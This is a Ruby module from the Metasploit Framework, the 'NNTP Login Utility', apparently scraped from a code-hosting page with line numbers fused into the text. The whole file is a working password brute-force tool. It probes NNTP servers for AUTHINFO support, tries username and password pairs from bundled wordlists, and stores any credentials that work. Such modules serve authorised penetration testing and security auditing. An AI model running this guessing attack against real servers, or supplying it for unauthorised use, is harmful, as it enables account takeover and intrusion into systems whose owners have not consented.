Path: blob/master/modules/auxiliary/scanner/nntp/nntp_login.rb
28052 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Auxiliary::AuthBrute8include Msf::Auxiliary::Scanner9include Msf::Exploit::Remote::Tcp1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'NNTP Login Utility',16'Description' => %q{17This module attempts to authenticate to NNTP services18which support the AUTHINFO authentication extension.1920This module supports AUTHINFO USER/PASS authentication,21but does not support AUTHINFO GENERIC or AUTHINFO SASL22authentication methods.23},24'Author' => 'bcoles',25'License' => MSF_LICENSE,26'References' => [27[ 'CVE', '1999-0502' ], # Weak password28[ 'URL', 'https://datatracker.ietf.org/doc/html/rfc3977' ],29[ 'URL', 'https://datatracker.ietf.org/doc/html/rfc4642' ],30[ 'URL', 'https://datatracker.ietf.org/doc/html/rfc4643' ]31],32'Notes' => {33'Reliability' => UNKNOWN_RELIABILITY,34'Stability' => UNKNOWN_STABILITY,35'SideEffects' => UNKNOWN_SIDE_EFFECTS36}37)38)39register_options(40[41Opt::RPORT(119),42OptPath.new('USER_FILE', [43false, 'The file that contains a list of probable usernames.',44File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_users.txt')45]),46OptPath.new('PASS_FILE', [47false, 'The file that contains a list of probable passwords.',48File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_passwords.txt')49])50]51)52end5354def run_host(ip)55begin56connect57return :abort unless nntp?58return :abort unless supports_authinfo?5960report_service :host => rhost,61:port => rport,62:proto => 'tcp',63:name => 'nntp'64disconnect6566each_user_pass { |user, pass| do_login user, pass }67rescue ::Interrupt68raise $ERROR_INFO69rescue EOFError, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout70print_error "#{peer} Connection failed"71return72rescue OpenSSL::SSL::SSLError => e73print_error "SSL negotiation failed: #{e}"74rescue => e75print_error "#{peer} Error: #{e.class} #{e} #{e.backtrace}"76return77ensure78disconnect79end80end8182def nntp?83banner = sock.get_once8485if !banner86vprint_error "#{peer} No response"87return false88end8990if banner !~ /^200/91print_error 'Unexpected reply'92return false93end9495vprint_status 'Server is a NTTP server'96vprint_status "Banner: #{banner}"97true98end99100def supports_authinfo?101sock.put "HELP\r\n"102res = sock.get(-1)103code = res.scan(/\A(\d+)\s/).flatten.first.to_i104105if code.nil?106print_error 'Server is not a NNTP server'107return false108end109110if code == 480111vprint_warning 'Authentication is required before listing authentication capabilities.'112return true113end114115if code == 100 && res =~ /authinfo/i116vprint_status 'Server supports AUTHINFO'117return true118end119120print_error 'Server does not support AUTHINFO'121false122end123124def do_login(user, pass)125vprint_status "Trying username:'#{user}' with password:'#{pass}'"126127begin128connect129sock.get_once130131sock.put "AUTHINFO USER #{user}\r\n"132res = sock.get_once133unless res134vprint_error "#{peer} No response"135return :abort136end137138code = res.scan(/\A(\d+)\s/).flatten.first.to_i139if code != 381140vprint_error "#{peer} Unexpected reply. Skipping user..."141return :skip_user142end143144sock.put "AUTHINFO PASS #{pass}\r\n"145res = sock.get_once146unless res147vprint_error "#{peer} No response"148return :abort149end150151code = res.scan(/\A(\d+)\s/).flatten.first.to_i152if code == 452 || code == 481153vprint_error "#{peer} Login failed"154return155elsif code == 281156print_good "#{peer} Successful login with: '#{user}' : '#{pass}'"157report_cred ip: rhost,158port: rport,159service_name: 'nntp',160user: user,161password: pass,162proof: code.to_s163return :next_user164else165vprint_error "#{peer} Failed login as: '#{user}' - Unexpected reply: #{res.inspect}"166return167end168rescue EOFError, ::Rex::ConnectionError, ::Errno::ECONNREFUSED, ::Errno::ETIMEDOUT169print_error 'Connection failed'170return171rescue OpenSSL::SSL::SSLError => e172print_error "SSL negotiation failed: #{e}"173return :abort174end175rescue => e176print_error "Error: #{e}"177return nil178ensure179disconnect180end181182def report_cred(opts)183service_data = {184address: opts[:ip],185port: opts[:port],186service_name: opts[:service_name],187protocol: 'tcp',188workspace_id: myworkspace_id189}190191credential_data = {192origin_type: :service,193module_fullname: fullname,194username: opts[:user],195private_data: opts[:password],196private_type: :password197}.merge service_data198199login_data = {200last_attempted_at: DateTime.now,201core: create_credential(credential_data),202status: Metasploit::Model::Login::Status::SUCCESSFUL,203proof: opts[:proof]204}.merge service_data205206create_credential_login login_data207end208end209210211